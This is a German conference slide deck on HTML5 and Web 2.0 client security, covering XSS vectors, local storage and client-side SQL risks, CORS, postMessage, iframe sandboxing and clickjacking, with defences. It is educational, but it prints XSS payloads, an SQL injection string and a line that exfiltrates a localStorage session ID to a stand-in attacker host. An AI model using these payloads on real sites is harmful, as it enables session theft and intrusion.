Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Client Security im Web 2.0 und mit HTML5

Carsten Eilers / www.ceilers-it.de

Vorstellung• Berater für IT-Sicherheit

– Web Security (Pentests, Beratung, ...)– ...

• Autor– PHP Magazin, Entwickler Magazin– Blog: www.ceilers-news.de – ...

• Schwachstellen- und Exploitsammlung

Agenda• Vorbemerkungen• HTML5• Clickjacking• Buttonjacking• Schlußbemerkungen

Es war einmal... (1)

• Ajax in Action 2007: „AJAX, aber sicher!“– XSS und CSRF– JavaScript Port Scanner– Schwachstellenscanner Jikto– JavaScript-Malware allgemein– JavaScript-/JSON-Hijacking– „Fazit“: Verhindern Sie XSS & CSRF

Es war einmal... (2)• Ajax in Action 2008

„Sicherheit und der Ajax-Client“– SQL-Injection via Client– Angriffe auf Presentation Layer– Look&Feel-Hacks– Ganz neu: Clickjacking

• (Einzige) Gegenmaßnahme: Framebuster

Die Gegenwart• HTML5 bringt

– neue Funktionen– neue Attribute– neue Tags

• Clickjacking & Likejacking sind Alltag

Was ist HTML5?• Die nächste Version von HTML• Fast eine Entwicklungsumgebung• Drei Aspekte:

– Inhalt (HTML5)– Präsentation (CSS)– Interaktion mit dem Benutzer (JavaScript)

• Kein Standard / „Work in progress“

Agenda• HTML5 &

– XSS– Local Storage– SQL-Datenbank– Wurmkuren– Session Storage– Cross Origin Requests– postMesssage()– iframe im Sandkasten

HTML5 & XSS (1)

Kein Standard

=> Jeder macht, was er will wie er will

Unterschiedliche Interpretationen sind immer unsicher

HTML5 & XSS (2)• Neue Tags

– z.B. audio- und video-Tags:<audio src=1 onerror=“alert(1)“><video src=1 onerror=“alert(1)“>

• Geänderte und neue Attribute für alte Tags– z.B. Attribute in schließenden Tags:</a onmouseover=“alert(1)“>

HTML5 & XSS (3)z.B. autofocus-Attribut:

• <input autofocus onfocus=alert(1)>

• <select autofocus onfocus=alert(1)>

• <textarea autofocus onfocus=alert(1)>

• <keygen autofocus onfocus=alert(1)>

HTML5 & XSS (4)• autofocus-Attribut bringt Element mit

schädlichen Inhalt in den Focus

• poster- und srcdoc-Attribut erlauben Verweis auf schädliche externe Ressourcen

HTML5 & XSS (5)• SVG ist eine Grafik?

• SVG ist auch ein Einfallstor für XSS:

<svg xmlns="http://www.w3.org/2000/svg"><script>alert(1)</script></svg>

• z.B. in Firefox < 4

HTML5 & XSS (6)• Lange Liste im

„HTML5 Security Cheatsheet“

• Insbesondere Blacklists gefährdet • Auch Whitelists anpassen

– z.B. die früher harmlosen schließenden Tags wie </a>

HTML5 & XSS (7)

Wann haben Sie das letzte Mal die Schutzmaßnahmen „alter“ Anwendungen aktualisiert?

Oder auch nur angesehen?

„Never touch a running system“! ? ??

Agenda• HTML5 &


Local & Session Storage• 5-10 MB Speicher als Key-Value-Paare

(Cookie 4 KB)

• Inhalt wird nicht wie bei Cookies an den Server gesendet

• Session Storage an Fenster gebunden,Local Storage ist persistent

HTML5 & Local Storage (1)• Zugriff an Hostname gebundengeocities.com/gute-seiten vs.geocities.com/boese-seiten

• Zugriff über XSS<script>document.write("<img src='http://angreifer.example/klau.php?geklaut="+localStorage.getItem('SessionID')+"'>");</script>

HTML5 & Local Storage (2)• Zugriff durch Schadsoftware auf dem

Client• Zugriff durch andere Benutzer

• Z.B. Google Mail: Statt Cookies ausspähen o.Ä. nun direkter Zugriff auf dem Client möglich

HTML5 & Local Storage (3)

Wie erkennt man Angriffe?

Lese-Zugriffe? - Gar nicht!

Manipulationen? - Eigentlich auch nicht!


Beispiel Session-ID:• Cookie mit HTTPOnly-Flag

(und ggf. Secure-Flag)

• Local StorageJavaScript soll zugreifen können!


Immer daran denken:• Daten sind unverschlüsselt,

jeder auf dem Client kann darauf zugreifen

• Daten bleiben „ewig“ erhalten,außer Benutzer oder Anwendung löscht


Schutzmaßnahmen:• Keine Sensitiven Daten speichern

• Löschen nicht vergessen!

HTML5 & Local Storage (7)• Verschlüsselung meist nutzlos

– sowieso nur „Zeitschloss“– Schlüssel auf Client

=> Daten de fakto unverschlüsselt– Schlüssel auf Server

=> keine Offline-Nutzung

Agenda• HTML5 &


HTML5 & SQL-Datenbank (1)• SQL-Datenbank auf dem Client =>

SQL-Injection betrifft auch den Client

• Prepared Statements statt zusammengesetzter Strings

• HTML5 Database API hilft

HTML5 & SQL-Datenbank (2)executeSql("SELECT spalte FROM tabelle WHERE wert=" + eingabe);

executeSql("SELECT spalte FROM tabelle WHERE wert=?", [eingabe]);

Eingabe kein String, sondern Literal• 'nix' OR 1=1

HTML5 & SQL-Datenbank (3)

Auch ohne SQL-Injection gefährdet

• Same Origin Policy schützt:– Daten über HTTPS gespeichert

=> Zugriff nur über HTTPS möglich– Besser als 'Secure'-Flag für Cookies, da

automatisch

HTML5 & SQL-Datenbank (4)• Same Origin Policy schützt nicht...

– ... vor XSS– ... bei DNS-Hijacking– ... bei Manipulation der lokalen

Namensauflösung– ... bei MitM-Angriff


Zufällige Namen erschweren Zugriffe• eindeutig, aber nicht erratbar• Onlinenutzung:

Auf Server speichern• Offlinenutzung:

„Offline-Passwort“ + Benutzername = Datenbankname


Wie erkennt man Angriffe?

Gar nicht

(siehe Local Storage)

HTML5 & Speicher (1)Client-Daten können Schadcode enthalten

• Auf Server prüfen ist selbstverständlich

• Auf Client gegen XSS kodieren– z.B. mit OWASP Enterprise Security API

(owasp-esapi-js)– JavaScript-Funktion kann überschrieben werden!

HTML5 & Speicher (2)Egal ob Local Storage oder SQL-DB:Speichern Sie erst nach Zustimmung des Benutzers!• Gilt nur für den aktuellen Rechner• den sie nicht an vorhandener DB erkennen• Besser:

– Allgemein gültige DB-Tabelle enthält letzte Session-ID– Vergleich mit Wert auf dem Server

Agenda• HTML5 &


HTML5 & Wurmkuren (1)Ein XSS-Wurm verbreitet sich über unsere Webanwendung

Bisher: • Schwachstelle beheben, • Wurmcode auf dem Server löschen,• Wurm tot

HTML5 & Wurmkuren (2)Ein XSS-Wurm verbreitet sich über unsere Webanwendung

Jetzt: • Schwachstelle beheben, • Wurmcode auf dem Server löschen,• Wurmcode auf den Clients löschen,• Wurm tot

Wirklich?

HTML5 & Wurmkuren (3)

Wie lange dauert es, bis sich alle Benutzer mal wieder angemeldet haben?

Bis dahin Gefahr bei Offline-Nutzung

Was ist, wenn der Wurm weiteren Schadcode nachlädt?

Agenda• HTML5 &


HTML5 & Session Storage (1)• Wie Local Storage, aber auf Session-

Dauer beschränkt

• Same Origin Policy schützt:– Zugriffe an Domain, Protokoll, Port

gebunden– Kein Schutz vor XSS, aber vor „böser

Umgebung“

HTML5 & Session Storage (2)• Löschen nicht vergessen!

• Beispiel– Webmail, mehrere Tabs offen– In einem wird sich ausgeloggt– Andere bleiben offen– Darin Zugriff auf Session Storage möglich

HTML5 & Session Storage (3)

Mögliche Lösung:• Cookie enthält aktuellen Status• Nach Einloggen Cookie-Wert, Datum

und Uhrzeit in den Session Storage• Bei jedem Zugriff Werte vergleichen• Cookie ist immer & überall aktuell

Agenda• HTML5 &


HTML5 & Cross Origin (1)• Cross Origin Requests hebeln Same

Origin Policy aus

• Einschränkung über 'Access-Control-Allow-Origin'-Header– Ein '*' - und die Anwendung ist offen für alle– Vorsicht vor Vereinfachungen

(z.B. eingebundene Konfigurationsdatei)

HTML5 & Cross Origin (2)

'Origin'-Header nicht vertrauenswürdig!

if ($_SERVER['HTTP_ORIGIN'] == "[Server]") {

header('Access-Control-Allow-Origin: [Server]');

// Ausgabe vertraulicher Informationen

} else {

// Ausgabe harmloser Informationen

}

zusätzlich Authentifizierung nötig


Authentifizierung:• Signalisiert über

'Access-Control-Allow-Credentials'-Header– z.B. in Antwort auf Preflight-Request

• Cross Origin Request mit 'Credentials'-Flag und Authentifizierungsdaten


Vertrauen, wem Vertrauen gebührt!• Website, die Request sendet, vertraut

auf korrekte Antwort• Website, die Request empfängt,

vertraut auf Autorisierung

Was ist mit kompromittiertem Server?


Bösartige Requests• Jeder kann Cross Origin Request

senden– Nur vor komplizierten Requests Prüfung

mit Preflight-Request• Browser prüfen nur, ob auf Antwort

zugegriffen werden darf

Agenda• HTML5 &


HTML5 & postMessage() (1)

Ziel: Daten zwischen Skripten aus verschiedenen Domains austauschen• Aufruf mit Daten und Domain des Ziels• Nützlich für Widgets

– Früher: Eingesperrt in iframe oder offen im script-Tag

– Nun: Sicherheit des iframes, Kommunikation des script-Tag

HTML5 & postMessage() (2)Sicherheit: • Browser liefert Daten nur aus, wenn

Domain stimmt• Datenleck nicht möglich

– Zieldomain genau angeben, nicht als '*' • Aber woher kommen die Daten?

– Absender im origin-Attribut prüfen– XSS?

Agenda• HTML5 &

– XSS– Local Storage– SQL-Datenbank– Wurmkuren– Session Storage– Cross Origin Requests– postMesssage()

– iframe im Sandkasten

HTML5 & iframe-sandbox (1)

Neu: sandbox-Attribut für iframes• beschränkt Möglichkeiten für iframes

– Per Default • kein Zugriff auf DOM der einbettenden Seite,

Cookies, Local Storage• kein JavaScript-Code, keine Plugins, keine

Formulare– Gezieltes Aufheben möglich

HTML5 & iframe-sandbox (2)• allow-same-origin

iframe wird wie aus eigener Domain behandelt

• allow-top-navigationOberste Ebene des akt. Inhalts ändern

• allow-formsFormulare sind zulässig

• allow-skriptsSkripte erlaubt, Zugriff auf Umgebung möglich

HTML5 & iframe-sandbox (3)• Zusätzliche Sicherheitsmaßnahme

– Scheitert XSS-Filter, schützt Sandbox vor eingeschleustem Code

• Abgestuftes Freigeben von Funktionen– Werbung in iframe ohne Rechte (Schutz

vor kompromittiertem Adserver)– Widgets in iframe mit JavaScript-

Ausführung– ...

Agenda• Clickjacking &

– sein Hintergrund– Texte in Textfelder einfügen– Texte kopieren– HTML-Quelltext kopieren– Schutzmaßnahmen

Clickjacking (1)• Veröffentlicht 2008 von Jeremiah

Grossmann und Robert Hansen

• Opfer auf Seite des Angreifers locken• Opfer klickt etwas an• Klick landet in unsichtbaren iframe mit

anderer Website

Adobes „Settings Manager“



HTML5 & Clickjacking (1)

Black Hat Europe 2010: Paul Stone kombiniert Clickjacking und HTML5

Fragment-Identifier erleichtern das Zielen

Drag&Drop-API erlaubt mehr als das Entführen von Klicks

HTML5 & Clickjacking (2)Texte in Textfelder einfügen• Opfer verschiebt Objekt auf bösartiger Website• Beim Start wird Text des Angreifers über Drag&Drop-

API ausgewählt• Nun unsichtbaren iframe mit angegriffenen Formular

unter Mauszeiger legen• Beim Fallen lassen landet der Text im Formular

Beliebig oft wiederholen, Senden durch Clickjacking




Texte kopieren• Same Origin Policy verhindert Zugriff

auf Inhalte von anderen Domains, z.B. in iframes

• Lösung: Drag&Drop-API und Clickjacking

HTML5 & Clickjacking (4)• unsichtbarer iframe am Mauszeiger• gewünschtes Dokument in den iframe• Opfer muss Verschiebe-Operation starten

(Maustaste drücken)• Dokument so pos., das Ende unter

Mauszeiger• Benutzer muss Maus etwas bewegen

(Text auswählen)• Benutzer muss Maustaste loslassen

HTML5 & Clickjacking (5)Text ist nun selektiert

• Dokument so pos., das selektierter Text unter Mauszeiger liegt

• Drag&Drop-Aktion:Text in Textfeld einfügen, s.o.

Angreifer kann Text z.B. über getData() lesen oder Formular abschicken

HTML5 & Clickjacking (6)• Angreifer bestimmt Positionen• Kann einfach ganze (unbekannte) Seite

kopieren• Auch Zugriff auf Browser-Plugins

möglich

HTML5 & Clickjacking (7)• Alles nur Theorie?• Mai 2011: Cookiejacking im IE

– Schwachstelle im Sicherheitsmodell:file:// erlaubt Zugriff auf lokale DateienKonkret: Die Cookies

– Cookies in iframe laden– Text mit Clickjacking kopieren

– Schwachstelle im IE behoben




HTML-Quelltexte kopieren• Für Angreifer interessant:

versteckte Formularfelder etc.• Editorfunktionen für HTML helfen

(contentEditable-Attribut)

• Text in entsprechenden Bereich auf Angreifer-Seite verschieben


Ergebnisse unterschiedlich:• IE und Firefox:

Alles zwischen ersten und letztem sichtbaren Element

• Webkit-Browser, z.B. Chrome:Nur sichtbare Elemente, aber inkl. Attributen wie IDs, Klassen, URLs




Framebuster schützt vor Clickjacking:

<script type="text/javascript">

if (top!=self) top.location.href=self.location.href;

</script>

Framebuster lassen sich u.U. umgehen– z.B. im IE mit eingeschränkter Zone


Framebuster schützte vor Clickjacking:

iframe mit Sandbox-Attribut verhindert Ausführung

Einziger Schutz: "X-FRAME-OPTIONS"-Header

Agenda• Vorbemerkungen• HTML5• Clickjacking• Buttonjacking• Schlussbemerkungen

Buttonjacking (1)

Mai 2010: Erster Clickjacking-Angriff auf Facebooks „Like“-Button

Neuer Name: „Likejacking“

Seitdem liegt Facebook quasi unter Dauerbeschuss

Buttonjacking (2)

Problem des Like-Buttons:• Er soll eingebunden werden• Weder Framebuster noch "X-FRAME-

OPTIONS"-Header möglich• Facebook bekämpft nur Symptome

(bekannte Angriffe)

Buttonjacking (3)Wieso „Likejacking“?Betroffen sind alle derartigen Buttons

Sommer 2011: Twitters „Follow“-ButtonGoogles „1+“-Button

Buttonjacking (4)

Logische Schlussfolgerung:

Vergessen Sie „1-Klick-Buttons“,Verlangen Sie eine Bestätigung

Agenda• Vorbemerkungen• HTML5• Clickjacking• Buttonjacking• Schlussbemerkungen

Schlussbemerkungen• Application Cache:

– Cache Poisoning ist möglich

• Websockets:– Böse Netzverkverbindungen aus dem Browser

heraus, z.B. BEAST (kurzzeitig)

• Zugriff auf Webcam:– Angreifer schaut Ihnen zu

• ...

Fragen?

Vielen Dank...

... für Ihre Aufmerksamkeit

Material und Links aufwww.ceilers-it.de/konferenzen/

The End

Date post:	05-Jun-2020
Category:	Documents
Upload:	others
View:	9 times
Download:	0 times

Client Security im Web 2.0 und mit HTML5 · Client Security im Web 2.0 und mit HTML5 Carsten Eilers

Documents